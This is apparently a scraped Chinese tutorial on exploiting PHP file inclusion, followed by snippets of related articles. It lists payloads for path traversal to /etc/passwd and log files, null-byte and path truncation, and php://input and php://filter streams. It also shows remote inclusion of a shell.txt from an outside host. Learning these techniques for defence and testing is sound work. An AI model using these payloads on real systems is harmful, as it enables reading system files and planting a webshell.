PHP文件包含漏洞利用

PHP文件包含漏洞利用

一、PHP配置在文件包含中的运用

文件包含漏洞即 当程序员在包含文件的过程中引入了外部提交的数据参与包含的过程所产生的漏洞,这个漏洞是目前Web攻击中最利用率最高的一个漏洞,攻击者 可以轻松获取服务器的访问权限(即拿到webshell)。而文件包含通常又有本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)之分。allow_url_fopen和allow_url_include是决定包含属于本地文件包含(LFI)还是远程文件包含 (RFI)的条件,在PHP4中则只有一个allow_url_fopen选择。其中allow_url_fopen和 allow_url_include为0n的情况为远程文件包含漏洞,相反为本地文件包含漏洞。

在文件包含中典型的两种格式如下:

1.需要截断的文件包含

include($_GET[‘sb‘]);

include(“$_GET[‘dir‘]/test.php”);

在这里要想利用文件包含就必须突破后面/test.php的限制,而通常截断后面数据的有三个办法。

(1)使用%00来截断

适合场合:Magic_quote为off的情况下

2)使用?截断

适合场合:远程文件包含(RFI),相当于又构造了一次Get请求。http://127.0.0.1:81/

include.php?dir=http://127.0.0.1:81/shell.txt?

(3)通过使路径长度达到一定长度限制时截断

通常Windows的截断长度为240,Linux的截断长度为4096

使用场合:均适用

由于Windows和Linux的文件名都有一个最大路径长度(MAX_PATH)的限制,因此当提交文件名的长度超过了最大路劲长度限制是就会截断后面的内容,从而达到文件包含的效果

include.php?dir=http://127.0.0.1:81/shell.txt//////////////////////////////////////////////////////////////////////

2.直接包含的类型

include(“$_GET[‘dir‘]“);

可以直接在dir中指定文件名就能实现文件包含,而不需要经过截断处理。

在register_globals为on的情况下,如果变量未初始化则可以达到文件包含的效果,通常网上发的文件包含 漏洞都没有上面两种那么直接,大部分需要register_globals的配合才能实现文件包含。

基本的文件包含漏洞:

code :

* 包含同路径下的文件:

?file=.htaccess

* 路径遍历:

?file=../../../../../../../../../var/lib/locate.db

(该文件非常有趣因为它允许你搜索文件系统)

* 包含注入PHP代码的文件:

?file=../../../../../../../../../var/log/apache/error.log

(you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)

受限的本地文件包含:

code :

* 空字符注入(Null Byte Injection):

?file=../../../../../../../../../etc/passwd%00

(需要magic_quotes_gpc=off)

* 列目录(Null Byte Injection):

?file=../../../../../../../../../var/www/accounts/%00

(仅限BSD, 需要magic_quotes_gpc=off,详细信息here)

*路径截断(Path Truncation):

?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …

(详细信息参见 here 和 here)

* 点号截断:

?file=../../../../../../../../../etc/passwd……………. …

(仅限Windows, 更多细节参见 here)

基本的远程文件包含:

code :

* 包含远程代码(Including Remote Code):

?file=[http|https|ftp]://websec.wordpress.com/shell.txt

(需要 allow_url_fopen=On 和 allow_url_include=On)

* 使用php输入流(Using PHP stream php://input):

?file=php://input

(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)

* 使用PHP过滤函数(Using PHP stream php://filter):

?file=php://filter/convert.base64-encode/resource=index.php

(lets you read PHP source because it wont get evaluated in base64. More details here and here)

* Using data URIs:

?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

(需要 allow_url_include=On)

* 用于跨站脚本攻击(Using XSS):

?file=http://127.0.0.1/path/xss.php?xss=phpcode

(makes sense if firewalled or only whitelisted domains allowed)

受限的远程文件包含漏洞

code :

* ?file=http://websec.wordpress.com/shell

* ?file=http://websec.wordpress.com/shell.txt?

* ?file=http://websec.wordpress.com/shell.txt%23

(需要 allow_url_fopen=On 和 allow_url_include=On)

静态远程文件包含漏洞:

code :

* 中间人攻击(Man In The Middle)

(lame indeed, but often forgotten)

时间: 2024-10-13 12:19:03

PHP文件包含漏洞利用的相关文章

文件包含漏洞利用

文件包含可以利用的方式 (1) 直接进行文件的遍历读取:(读取敏感信息) 在获悉中间件 IIS.apache与第三方集成包等程序默认安装路径的情况,可以直接利用文件包含结合目录遍历进行"配置文件的读取" include.php?file=../../../etc/pass include.php?file=../../../xampp/htdocs/config.php (2)解析符合php规范的任何文件:(本地包含配合文件上传) 可以利用文件包含函数可以解析任何符合PHP规范的文件的

phpMyAdmin 4.8.x 本地文件包含漏洞利用

今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用不要求root帐号,只需能够登录 phpMyAdmin 便能够利用. 在这篇文章中我们将使用VulnSpy的在线 phpMyAdmin 环境来演示该漏洞的利用. VulnSpy 在线 phpMyAdmin 环境地址:http://www.vulnspy.com/phpmyadmin-4.8.1/ 漏洞细节 参照ChaMd5安全团队发布的文章:phpmya

文件包含漏洞

本实验是基于DVWA和sqli-labs的实验环境 实验平台搭建:下载Wamp集成环境,并下载DVWA和sqli-labs和压缩包解压至wamp\www的目录下.安装只要注意Wamp环境的数据库名和密码对应即可. 0x01:文件包含漏洞 服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. 这也算官方的解释吧,用个人的话说,通过浏览器.url地址或者是一个参数的变量的内容,可以通过修改这些url

PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的一种攻击手段.本文对PHP文件包含漏洞的形成.利用技巧及防范进行了详细的分析,并通过一个真实案例演示了如何利用PHP文件包含漏洞对目标网站进行渗透测试,最终成功获取到网站的WebShell. 1. PHP文件包含漏洞介绍 首先,我们来介绍下何为文件包含漏洞.严格来说,文件包含漏洞是“代码注入”的一种

DVWA篇四:文件包含漏洞

1      测试环境介绍 测试环境为OWASP环境中的DVWA模块 2      测试说明 2.1  什么时远程文件包含漏洞 什么才是"远程文件包含漏洞"?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. 涉及到的危险函数:include(),require()和include_once(),require_once() Include:包含并运行指定文件,当包含外部文件

网站安全(7) —— PHP文件包含漏洞介绍

其原理就是注入一段用户能控制的脚本或代码,并让服务端执行.文件包含漏洞可能出现在JSP.PHP. ASP等语言中,原理都是一样的,本文只介绍PHP文件包含漏洞. 要想成功利用文件包含漏洞进行攻击,需要满足以下两个条件: 1. Web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件 (文件包含函数还有 include_once().require().require_once()) 2. 用户能够控制该动态变量 现在来看一段简单的文件包含代码: ? 1 2 3 <?ph

php文件包含漏洞(利用phpinfo)复现

 利用docker复现该漏洞,访问http://192.168.80.156:8080/phpinfo.php,可以看到页面出现phpinfo页面 再访问http://192.168.80.156:8080/lfi.php?file=/etc/passwd,可以看到该页面是存在文件包含漏洞的. 先讲一下利用phpinfo上传文件,然后在文件包含的原理: 参考链接:https://github.com/vulhub/vulhub/tree/master/php/inclusion 在给PHP发送P

利用文件包含漏洞時那麼多../../../../是幹嘛用的?

利用文件包含漏洞時那麼多../../../../是幹嘛用的? 0x00 前言 小萌新剛開始刷BUUCTF,第一道題[HCTF 2018]WarmUp1就難到我了,知道得繞過,但是怎麼繞過一臉懵逼. 看了大佬的wp,說這是CVE-2018-12613改的代碼審計. 於是到FB查了下CVE-2018-12613,發現它驗證文件名的代碼和這道題真的一模一樣. 但是有個問題還是沒解決,和那篇大佬的wp給的exp一樣,爲什麼有那麼多../../../呢? 0x01 原因 看了評論區,有個朋友也在問這個問題

phpmyadmin任意文件包含漏洞分析(含演示)

0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: phpMyAdmin 4.0.1 – 4.0.10.6 4.1.1 – 4.1.14.7 4.2.1 – 4.2.12 0x02 补丁分析 看到bobao.360.cn上提到了这个漏洞,于是我写个小分析吧,给渗透正没思路的人一个思路,也给学习代码审计的朋友一点资料. 前几天phpmyadmin出了个